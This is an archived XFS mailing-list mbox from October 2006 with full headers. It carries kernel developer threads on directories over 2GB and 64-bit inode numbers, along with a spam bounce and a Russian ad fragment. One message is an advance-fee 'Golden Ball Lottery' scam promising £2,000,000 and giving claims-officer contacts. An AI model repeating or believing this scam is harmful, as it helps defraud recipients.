=ED=E5=ED=E8=FF =E8 =E4=EE=EF=EE=EB=ED=E5=ED=E8=FF =E2 =EA=EE=EB=EB=E5=EA= =F2=E8=E2=ED=EE-=E4=EE=E3=EE=E2=EE=F0=ED=EE=E5 =F0=E5=E3=F3=EB=E8=F0=EE=E2=E0=ED=E8=E5. =C8=E7=EC=E5=ED=E5=ED=E8=FF =E2 = =F2=F0=F3=E4=EE=E2=EE=EC =E4=EE=E3=EE=E2=EE=F0=E5 =EF=EE=F0=FF=E4=EE=EA =E5= =E3=EE =E7=E0=EA=EB=FE=F7=E5=ED=E8=FF =E8=E7=EC=E5=ED=E5=ED=E8=FF =F3=F1=EB=EE=E2=E8=E9 =F2=F0=F3=E4=EE=E2=EE=E3=EE =E4=EE=E3=EE=E2=EE=F0=E0.= =CF=F0=E8=EC=E5=ED=E5=ED=E8=E5 =F1=F0=EE=F7=ED=FB=F5 =E4=EE=E3=EE=E2=EE=F0= =EE=E2.=20 =D1=F2=EE=E8=EC=EE=F1=F2=FC =E4=EB=FF 1-=E3=EE =F3=F7=E0=F1=F2=ED=E8=EA=E0= : 5 000 =F0=F3=E1. =CD=C4=D1 =ED=E5 =E2=E7=E8=EC=E0=E5=F2=F1=FF =C2=EA=EB=FE=F7=E5=ED=FB =E2 =F1=F2=EE=E8=EC=EE=F1=F2=FC =EE=E1=E5=E4 =E8 = =F0=E0=E7=E4=E0=F2=EE=F7=ED=FB=E9 =EC=E0=F2=E5=F0=E8=E0=EB =CF=EE=E4=F0=EE=E1=ED=EE=F1=F2=E8 =E8 =F0=E5=E3=E8=F1=F2=F0=E0=F6=E8=FF = =EF=EE =F2=E5=EB.: (495) 783-36-68 =20 =D2=E0=EA=E6=E5 =EC=EE=E6=E5=F2=E5 =EE=F2=EF=F0=E0=E2=E8=F2=FC =ED=E0=EC = =EF=E8=F1=FC=EC=EE: 7833668@mail.ru [[HTML alternate version deleted]] From owner-xfs@oss.sgi.com Wed Oct 4 09:54:23 2006 Received: with ECARTIS (v1.0.0; list xfs); Wed, 04 Oct 2006 09:54:32 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k94GsLaG025719 for ; Wed, 4 Oct 2006 09:54:23 -0700 X-ASG-Debug-ID: 1159976496-10015-751-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mail.rautakesko.lv (unknown [80.233.130.197]) by cuda.sgi.com (Spam Firewall) with ESMTP id 8D5D7D17B0FE for ; Wed, 4 Oct 2006 08:41:37 -0700 (PDT) Received: from corvus.lv ([10.10.64.205]) by mail.rautakesko.lv (Lotus Domino Release 5.0.3 (Intl)) with ESMTP id 2006100418424392:14864 ; Wed, 4 Oct 2006 18:42:43 +0300 From: corvus@corvus.lv To: xfs@oss.sgi.com Date: Wed, 4 Oct 2006 18:40:59 +0300 MIME-Version: 1.0 X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-MIMETrack: Itemize by SMTP Server on mailserver/Rautakesko/lv(Release 5.0.3 (Intl)|21 March 2000) at 2006.10.04 18:42:44, Serialize by Router on mailserver/Rautakesko/lv(Release 5.0.3 (Intl)|21 March 2000) at 2006.10.04 18:42:46 X-ASG-Orig-Subj: delivery failed (ScanMail has removed a file) Subject: delivery failed (ScanMail has removed a file) Message-ID: Content-Type: multipart/mixed; boundary="----=_NextPart_000_0013_D08672D3.98F00964" X-Barracuda-Spam-Score: 1.91 X-Barracuda-Spam-Status: No, SCORE=1.91 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=FORGED_MUA_OUTLOOK, NO_REAL_NAME X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22544 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.55 NO_REAL_NAME From: does not include a real name 1.36 FORGED_MUA_OUTLOOK Forged mail pretending to be from MS Outlook X-archive-position: 9176 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: corvus@corvus.lv Precedence: bulk X-list: xfs Status: O ------=_NextPart_000_0013_D08672D3.98F00964 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=us-ascii Your message was not delivered due to the following reason(s): Your message was not delivered because the destination server was not reachable within the allowed queue period. The amount of time a message is queued before it is returned depends on local configura- tion parameters. Most likely there is a network problem that prevented delivery, but it is also possible that the computer is turned off, or does not have a mail system running right now. Your message could not be delivered within 2 days: Mail server 46.117.39.88 is not responding. The following recipients could not receive this message: Please reply to postmaster@oss.sgi.com if you feel this message to be in error. ------=_NextPart_000_0013_D08672D3.98F00964 Content-Type: application/octet-stream; name="oss.sgi.com" Content-Disposition: attachment; filename="oss.sgi.com" Content-Transfer-Encoding: base64 DQo= ------=_NextPart_000_0013_D08672D3.98F00964-- From owner-xfs@oss.sgi.com Wed Oct 4 11:07:45 2006 Received: with ECARTIS (v1.0.0; list xfs); Wed, 04 Oct 2006 11:07:50 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k94I7haG032704 for ; Wed, 4 Oct 2006 11:07:45 -0700 X-ASG-Debug-ID: 1159981019-4799-561-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mail.clusterfs.com (mail.clusterfs.com [206.168.112.78]) by cuda.sgi.com (Spam Firewall) with ESMTP id CB6BAD178B4B for ; Wed, 4 Oct 2006 09:56:59 -0700 (PDT) Received: from localhost.adilger.int (S01060004e23cfc51.cg.shawcable.net [68.147.252.160]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mail.clusterfs.com (Postfix) with ESMTP id 9AFEE4E455A; Wed, 4 Oct 2006 10:56:58 -0600 (MDT) Received: by localhost.adilger.int (Postfix, from userid 1000) id BC8373FDF; Wed, 4 Oct 2006 10:56:56 -0600 (MDT) Date: Wed, 4 Oct 2006 10:56:56 -0600 From: Andreas Dilger To: linux-fsdevel@vger.kernel.org, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, xfs@oss.sgi.com X-ASG-Orig-Subj: Directories > 2GB Subject: Directories > 2GB Message-ID: <20061004165655.GD22010@schatzie.adilger.int> Mail-Followup-To: linux-fsdevel@vger.kernel.org, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, xfs@oss.sgi.com Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.1i X-GPG-Key: 1024D/0D35BED6 X-GPG-Fingerprint: 7A37 5D79 BF1B CECA D44F 8A29 A488 39F5 0D35 BED6 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22544 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9177 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: adilger@clusterfs.com Precedence: bulk X-list: xfs Status: O For ext4 we are exploring the possibility of directories being larger than 2GB in size. For ext3/ext4 the 2GB limit is about 50M files, and the 2-level htree limit is about 25M files (this is a kernel code and not disk format limit). Amusingly (or not) some users of very large filesystems hit this limit with their HPC batch jobs because they have 10,000 or 128,000 processes creating files in a directory on an hourly basis (job restart files, data dumps for visualization, etc) and it is not always easy to change the apps. My question (esp. for XFS folks) is if anyone has looked at this problem before, and what kind of problems they might have hit in userspace and in the kernel due to "large" directory sizes (i.e. > 2GB). It appears at first glance that 64-bit systems will do OK because off_t is a long (for telldir output), but that 32-bit systems would need to use O_LARGEFILE when opening the file in order to be able to read the full directory contents. It might also be possible to return -EFBIG only in the case that telldir is used beyond 2GB (the LFS spec doesn't really talk about large directories at all). Cheers, Andreas -- Andreas Dilger Principal Software Engineer Cluster File Systems, Inc. From owner-xfs@oss.sgi.com Wed Oct 4 12:08:01 2006 Received: with ECARTIS (v1.0.0; list xfs); Wed, 04 Oct 2006 12:08:09 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k94J80aG004989 for ; Wed, 4 Oct 2006 12:08:01 -0700 X-ASG-Debug-ID: 1159984760-6374-136-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi X-ASG-Whitelist: Client Received: from mx1.suse.de (ns.suse.de [195.135.220.2]) by cuda.sgi.com (Spam Firewall) with ESMTP id C017546CC57 for ; Wed, 4 Oct 2006 10:59:20 -0700 (PDT) Received: from Relay1.suse.de (mail2.suse.de [195.135.221.8]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.suse.de (Postfix) with ESMTP id ACDACFB0C; Wed, 4 Oct 2006 19:59:18 +0200 (CEST) To: David Chinner Cc: xfs-dev@sgi.com, xfs@oss.sgi.com, dhowells@redhat.com, LKML X-ASG-Orig-Subj: Re: [RFC 0/3] Convert XFS inode hashes to radix trees Subject: Re: [RFC 0/3] Convert XFS inode hashes to radix trees References: <20061003060610.GV3024@melbourne.sgi.com> <20061003212335.GA13120@tuatara.stupidest.org> <20061003222256.GW4695059__33273.3314754025$1159914338$gmane$org@melbourne.sgi.com> From: Andi Kleen Date: 04 Oct 2006 19:59:15 +0200 In-Reply-To: <20061003222256.GW4695059__33273.3314754025$1159914338$gmane$org@melbourne.sgi.com> Message-ID: Lines: 14 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 X-archive-position: 9179 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: ak@suse.de Precedence: bulk X-list: xfs Status: O David Chinner writes: > > And yes, 64 bit systems are cheap, cheap, cheap so IMO this > functionality is really irrelevant moving forward. If it had come > along a couple of years ago then it would be different, but I think > mainstream technology is finally catching up with XFS so it's not a > critical issue anymore... ;) One issue is that people often still run a lot of 32bit userland even with 64bit kernels. The compat layer will just truncate the inodes I think. But so far I haven't heard of anybody complaining on x86-64. -Andi From owner-xfs@oss.sgi.com Wed Oct 4 12:07:38 2006 Received: with ECARTIS (v1.0.0; list xfs); Wed, 04 Oct 2006 12:07:43 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k94J7baG004879 for ; Wed, 4 Oct 2006 12:07:38 -0700 X-ASG-Debug-ID: 1159984285-24230-5-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from e6.ny.us.ibm.com (e6.ny.us.ibm.com [32.97.182.146]) by cuda.sgi.com (Spam Firewall) with ESMTP id 92FCFD17BB72 for ; Wed, 4 Oct 2006 10:51:25 -0700 (PDT) Received: from d01relay02.pok.ibm.com (d01relay02.pok.ibm.com [9.56.227.234]) by e6.ny.us.ibm.com (8.13.8/8.12.11) with ESMTP id k94HpWUo029324 for ; Wed, 4 Oct 2006 13:51:32 -0400 Received: from d01av03.pok.ibm.com (d01av03.pok.ibm.com [9.56.224.217]) by d01relay02.pok.ibm.com (8.13.6/8.13.6/NCO v8.1.1) with ESMTP id k94HpN4f255618 for ; Wed, 4 Oct 2006 13:51:23 -0400 Received: from d01av03.pok.ibm.com (loopback [127.0.0.1]) by d01av03.pok.ibm.com (8.12.11.20060308/8.13.3) with ESMTP id k94HpNuq018399 for ; Wed, 4 Oct 2006 13:51:23 -0400 Received: from dyn95341158.austin.ibm.com (dyn95341158.austin.ibm.com [9.53.41.158]) by d01av03.pok.ibm.com (8.12.11.20060308/8.12.11) with ESMTP id k94HpMsl018309; Wed, 4 Oct 2006 13:51:22 -0400 X-ASG-Orig-Subj: Re: Directories > 2GB Subject: Re: Directories > 2GB From: Dave Kleikamp To: Andreas Dilger Cc: linux-fsdevel@vger.kernel.org, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, xfs@oss.sgi.com In-Reply-To: <20061004165655.GD22010@schatzie.adilger.int> References: <20061004165655.GD22010@schatzie.adilger.int> Content-Type: text/plain Date: Wed, 04 Oct 2006 12:51:20 -0500 Message-Id: <1159984281.10427.7.camel@kleikamp.austin.ibm.com> Mime-Version: 1.0 X-Mailer: Evolution 2.6.2 Content-Transfer-Encoding: 7bit X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22556 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9178 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: shaggy@austin.ibm.com Precedence: bulk X-list: xfs Status: O On Wed, 2006-10-04 at 10:56 -0600, Andreas Dilger wrote: > For ext4 we are exploring the possibility of directories being larger > than 2GB in size. For ext3/ext4 the 2GB limit is about 50M files, and > the 2-level htree limit is about 25M files (this is a kernel code and not > disk format limit). > > Amusingly (or not) some users of very large filesystems hit this limit > with their HPC batch jobs because they have 10,000 or 128,000 processes > creating files in a directory on an hourly basis (job restart files, > data dumps for visualization, etc) and it is not always easy to change > the apps. > > My question (esp. for XFS folks) is if anyone has looked at this problem > before, and what kind of problems they might have hit in userspace and in > the kernel due to "large" directory sizes (i.e. > 2GB). It appears at > first glance that 64-bit systems will do OK because off_t is a long > (for telldir output), but that 32-bit systems would need to use O_LARGEFILE > when opening the file in order to be able to read the full directory > contents. It might also be possible to return -EFBIG only in the case > that telldir is used beyond 2GB (the LFS spec doesn't really talk about > large directories at all). ext3 directory entries are always multiples of 4 bytes in length. So the lowest 2 bits of the offset are always zero. Right? Why not shift the returned offset and f_pos 2 bits right? JFS uses an index into an array for the position (which isn't even in the directory traversal order) so it can handle about 2G files in a directory (although deleted entries aren't reused). -- David Kleikamp IBM Linux Technology Center From owner-xfs@oss.sgi.com Wed Oct 4 12:23:24 2006 Received: with ECARTIS (v1.0.0; list xfs); Wed, 04 Oct 2006 12:23:31 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k94JNMaG011244 for ; Wed, 4 Oct 2006 12:23:24 -0700 X-ASG-Debug-ID: 1159989761-1220-160-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from pat.uio.no (pat.uio.no [129.240.10.4]) by cuda.sgi.com (Spam Firewall) with ESMTP id E2695469973; Wed, 4 Oct 2006 12:22:42 -0700 (PDT) Received: from mail-mx6.uio.no ([129.240.10.47]) by pat.uio.no with esmtp (Exim 4.43) id 1GVCK9-0005HT-CQ; Wed, 04 Oct 2006 21:22:33 +0200 Received: from nat-198-95-226-230.netapp.com ([198.95.226.230] helo=[10.58.48.240]) by mail-mx6.uio.no with esmtpsa (SSLv3:RC4-MD5:128) (Exim 4.43) id 1GVCK1-0007Nx-El; Wed, 04 Oct 2006 21:22:26 +0200 X-ASG-Orig-Subj: Re: [RFC 0/3] Convert XFS inode hashes to radix trees Subject: Re: [RFC 0/3] Convert XFS inode hashes to radix trees From: Trond Myklebust To: David Chinner Cc: Chris Wedgwood , xfs-dev@sgi.com, xfs@oss.sgi.com, dhowells@redhat.com, LKML In-Reply-To: <20061003222256.GW4695059@melbourne.sgi.com> References: <20061003060610.GV3024@melbourne.sgi.com> <20061003212335.GA13120@tuatara.stupidest.org> <20061003222256.GW4695059@melbourne.sgi.com> Content-Type: text/plain Date: Wed, 04 Oct 2006 15:22:19 -0400 Message-Id: <1159989739.5848.61.camel@lade.trondhjem.org> Mime-Version: 1.0 X-Mailer: Evolution 2.8.1 Content-Transfer-Encoding: 7bit X-UiO-Spam-info: not spam, SpamAssassin (score=-3.096, required 12, autolearn=disabled, AWL 1.90, UIO_MAIL_IS_INTERNAL -5.00) X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22561 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9180 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: trond.myklebust@fys.uio.no Precedence: bulk X-list: xfs Status: O On Wed, 2006-10-04 at 08:22 +1000, David Chinner wrote: > On Tue, Oct 03, 2006 at 02:23:35PM -0700, Chris Wedgwood wrote: > > On Tue, Oct 03, 2006 at 04:06:10PM +1000, David Chinner wrote: > > > Overall, the patchset removes more than 200 lines of code from the > > > xfs inode caching and lookup code and provides more consistent > > > scalability for large numbers of cached inodes. The only down side > > > is that it limits us to 32 bit inode numbers of 32 bit platforms due > > > to the way the radix tree uses unsigned longs for it's indexes > > > > commit afefdbb28a0a2af689926c30b94a14aea6036719 > > tree 6ee500575cac928cd90045bcf5b691cf2b8daa09 > > parent 1d32849b14bc8792e6f35ab27dd990d74b16126c > > author David Howells 1159863226 -0700 > > committer Linus Torvalds 1159887820 -0700 > > > > [PATCH] VFS: Make filldir_t and struct kstat deal in 64-bit inode numbers > > > > These patches make the kernel pass 64-bit inode numbers internally when > > communicating to userspace, even on a 32-bit system. They are required > > because some filesystems have intrinsic 64-bit inode numbers: NFS3+ and XFS > > for example. The 64-bit inode numbers are then propagated to userspace > > automatically where the arch supports it. > > [...] > > > > Doing this will mean XFS won't be able to support 32-bit inodes on > > 32-bit platforms the above (merged) patch --- though given that cheap > > 64-bit systems are now abundant does anyone really care? Which completely ignored the fact that NFS systems are already having to truncate 64-bit inode numbers to 32-bits and pass these truncated values up to userspace. Collisions have been observed in the wild, and I've already had to change the 64-bit->32-bit hashing algorithm on at least one occasion. By moving that truncation into userspace, we will at least give 64-bit standards-compliant programs a chance to work correctly. Trond From owner-xfs@oss.sgi.com Wed Oct 4 12:34:39 2006 Received: with ECARTIS (v1.0.0; list xfs); Wed, 04 Oct 2006 12:34:45 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k94JYcaG012208 for ; Wed, 4 Oct 2006 12:34:38 -0700 X-ASG-Debug-ID: 1159986660-3333-115-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from rrzmta2.rz.uni-regensburg.de (rrzmta2.rz.uni-regensburg.de [132.199.1.17]) by cuda.sgi.com (Spam Firewall) with ESMTP id 7F830465133 for ; Wed, 4 Oct 2006 11:31:00 -0700 (PDT) Received: from rrzmta2.rz.uni-regensburg.de (localhost [127.0.0.1]) by localhost (Postfix) with SMTP id EDE3B6B2DE; Wed, 4 Oct 2006 20:31:06 +0200 (CEST) Received: from pc51072.physik.uni-regensburg.de (pc51072.physik.uni-regensburg.de [132.199.98.129]) by rrzmta2.rz.uni-regensburg.de (Postfix) with ESMTP id E71886B20C; Wed, 4 Oct 2006 20:31:02 +0200 (CEST) Received: by pc51072.physik.uni-regensburg.de (Postfix, from userid 28561) id DF33F50267B; Wed, 4 Oct 2006 20:30:54 +0200 (CEST) Date: Wed, 4 Oct 2006 20:30:54 +0200 From: Christian Guggenberger To: Juergen Sauer Cc: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: Critical Bugreport: Linux Kernel 2.6.17.13, UNUSABLE Subject: Re: Critical Bugreport: Linux Kernel 2.6.17.13, UNUSABLE Message-ID: <20061004183054.GA32425@pc51072.physik.uni-regensburg.de> Reply-To: christian.guggenberger@physik.uni-regensburg.de References: <200610041036.23291.juergen.sauer@automatix.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200610041036.23291.juergen.sauer@automatix.de> User-Agent: Mutt/1.5.9i X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22558 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9181 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: christian.guggenberger@physik.uni-regensburg.de Precedence: bulk X-list: xfs Status: O On Wed, Oct 04, 2006 at 10:36:19AM +0200, Juergen Sauer wrote: > Installing a fresh, system does show up the problem after somewhat time in production again. > Is the install kernel at version 2.6.17-2.6.17.6 by any chance ? If so, you might want to check http://oss.sgi.com/projects/xfs/faq.html#dir2 . Have you tried to fix your fs using xfsprogs-2.8.10 or later ? cheers. - Christian From owner-xfs@oss.sgi.com Wed Oct 4 12:51:17 2006 Received: with ECARTIS (v1.0.0; list xfs); Wed, 04 Oct 2006 12:51:25 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k94JpGaG013513 for ; Wed, 4 Oct 2006 12:51:17 -0700 X-ASG-Debug-ID: 1159987939-30794-745-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ns.megasplet.com (ns.megasplet.com [212.72.100.21]) by cuda.sgi.com (Spam Firewall) with ESMTP id DEF5B4687EB for ; Wed, 4 Oct 2006 11:52:19 -0700 (PDT) Received: from nobody by ns.megasplet.com with local (Exim 4.52) id 1GVBqg-0007qk-W5 for xfs@oss.sgi.com; Wed, 04 Oct 2006 20:51:44 +0200 To: xfs@oss.sgi.com X-ASG-Orig-Subj: THIRD CATEGORY NOTIFICATION Subject: THIRD CATEGORY NOTIFICATION From: GOLDEN BALL LOTTERY Reply-To: MIME-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 8bit Message-Id: Date: Wed, 04 Oct 2006 20:51:43 +0200 X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - ns.megasplet.com X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [99 99] / [47 12] X-AntiAbuse: Sender Address Domain - tiscali.cz X-Source: X-Source-Args: X-Source-Dir: X-Barracuda-Spam-Score: 0.64 X-Barracuda-Spam-Status: No, SCORE=0.64 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=REPLY_TO_EMPTY X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22558 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.64 REPLY_TO_EMPTY Reply-To: is empty X-archive-position: 9182 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: normanking@tiscali.cz Precedence: bulk X-list: xfs Status: O GOLDEN BALL LOTTERY 175 Forest Lane, Forest Gate,London, E7 9BB UNITED KINGDOM Dear Winner, We are pleased to announce you as one of the 3 lucky winners in the GOLDEN BALL LOTTERY UK draw held on 30th of September 2006. All 3 winning addresses were randomly selected from a batch of 5,000,000 international emails. Your email address emerged alongside 2 others as a 3rd category winner in this month's draw. Consequently,you have therefore been approved for a total pay out of £2,000,000 Pounds (Two million pounds) only.The following particulars are attached to your lotto payment order: (i) Winning numbers: 3, 41, 25, 8, 32,29 (ii) Serial number: 11-35-402 (iii) Lotto batch number: GBL-315 (iv) Reference number: NHF-202-1 Please contact the underlisted claims officer as soon as possible for the immediate release of your winnings: Mr.Harry Edwards Claims Department Manager New Horizon Finance Email: harryedwards@new-horizonfinance.com Tel: +44 7011130280 Tel: +44 7011132746 Fax: +44 7005964362 Due to mix up of some numbers and names, we ask that you keep your Winning information confidential until your claim have been processed. This is part of our security protocol to avoid double claiming and unwarranted abuse of this program by some participant. Once again on behalf of all our staff, CONGRATULATIONS!!! Sincerely, Mr.Norman King Promotions Manager N.B: 1.All claims are nullified after 10 working days from today. 2.Your Ref number must be in all your mails with the claims officer. 3.Do inform the claims officer of any change of names or addresses. 4.All winners under the age of 18 are automatically disqualified. 5.Please contact your claims agent by fax or email (Mr Harry Edwards). From owner-xfs@oss.sgi.com Wed Oct 4 13:34:43 2006 Received: with ECARTIS (v1.0.0; list xfs); Wed, 04 Oct 2006 13:34:57 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k94KYeaG016835 for ; Wed, 4 Oct 2006 13:34:43 -0700 X-ASG-Debug-ID: 1159989060-30737-938-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ty.sabi.co.UK (82-69-39-138.dsl.in-addr.zen.co.uk [82.69.39.138]) by cuda.sgi.com (Spam Firewall) with ESMTP id EE20B46B423 for ; Wed, 4 Oct 2006 12:11:00 -0700 (PDT) Received: from from [127.0.0.1] (helo=base.ty.sabi.co.UK) by ty.sabi.co.UK with esmtp(Exim 4.62 #1) id 1GVC8W-00072I-Er for ; Wed, 04 Oct 2006 20:10:32 +0100 Resent-Message-ID: <17700.1830.717329.976455@base.ty.sabi.co.UK> Resent-Date: Wed, 4 Oct 2006 20:10:30 +0100 Resent-To: linux-xfs@oss.sgi.com Content-Transfer-Encoding: 7bit X-Face: SMJE]JPYVBO-9UR%/8d'mG.F!@.,l@c[f'[%S8'BZIcbQc3/">GrXDwb#;fTRGNmHr^JFb SAptvwWc,0+z+~p~"Gdr4H$(|N(yF(wwCM2bW0~U?HPEE^fkPGx^u[*[yV.gyB!hDOli}EF[\cW*S H&spRGFL}{`bj1TaD^l/"[ msn( /TH#THs{Hpj>)]f> 2GB Subject: Re: Directories > 2GB Date: Wed, 4 Oct 2006 20:09:41 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii From: pg_xfs@xfs.for.sabi.co.UK (Peter Grandi) To: Andreas Dilger Message-ID: <17700.1781.695334.941154@base.ty.sabi.co.UK> References: <20061004165655.GD22010@schatzie.adilger.int> In-Reply-To: <20061004165655.GD22010@schatzie.adilger.int> Resent-From: pg_mh@sabi.co.UK X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22558 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9183 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: pg_mh@sabi.co.UK Precedence: bulk X-list: xfs Status: O >>> On Wed, 4 Oct 2006 10:56:56 -0600, Andreas Dilger >>> said: adilger> For ext4 we are exploring the possibility of adilger> directories being larger than 2GB in size. For adilger> ext3/ext4 the 2GB limit is about 50M files, and the adilger> 2-level htree limit is about 25M files (this is a adilger> kernel code and not disk format limit). H-trees here have some serious performance problems: http://WWW.sabi.co.UK/Notes/anno05-4th.html#051204 which is perhaps because of poor locality, and I suspect that large hash trees would suffer from it even more. adilger> Amusingly (or not) some users of very large filesystems adilger> hit this limit with their HPC batch jobs because they adilger> have 10,000 or 128,000 processes creating files in a adilger> directory on an hourly basis (job restart files, data adilger> dumps for visualization, etc) and it is not always easy adilger> to change the apps. Perhaps the users should be gently introduced to the recent idea of subdirectories or, if the apps can be changed, the even more novel and experimental notion of DBMSes... :-). And even if apps cannot be changed one can always use 'LD_PRELOAD' and ''advise'' the 'open' call suitably... adilger> [ ... ] but that 32-bit systems would need to use adilger> O_LARGEFILE when opening the file in order to be able adilger> to read the full directory contents. It might also be adilger> possible to return -EFBIG only in the case that telldir adilger> is used beyond 2GB [ ... ] Well, in theory apps use 'readdir' and 'getdents' so they should be immunized from exactly how directories are represented. On my 32 bit system with Fedora with GNU LIBC 2.4 I see: $ strace ls / [ ... ] open("/", O_RDONLY|O_NONBLOCK|O_LARGEFILE|O_DIRECTORY) = 3 fstat64(3, {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0 fcntl64(3, F_SETFD, FD_CLOEXEC) = 0 getdents64(3, /* 38 entries */, 4096) = 1024 getdents64(3, /* 0 entries */, 4096) = 0 close(3) = 0 [ ... ] and this should give some hope. From owner-xfs@oss.sgi.com Wed Oct 4 17:38:09 2006 Received: with ECARTIS (v1.0.0; list xfs); Wed, 04 Oct 2006 17:38:19 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k950c5aG007803 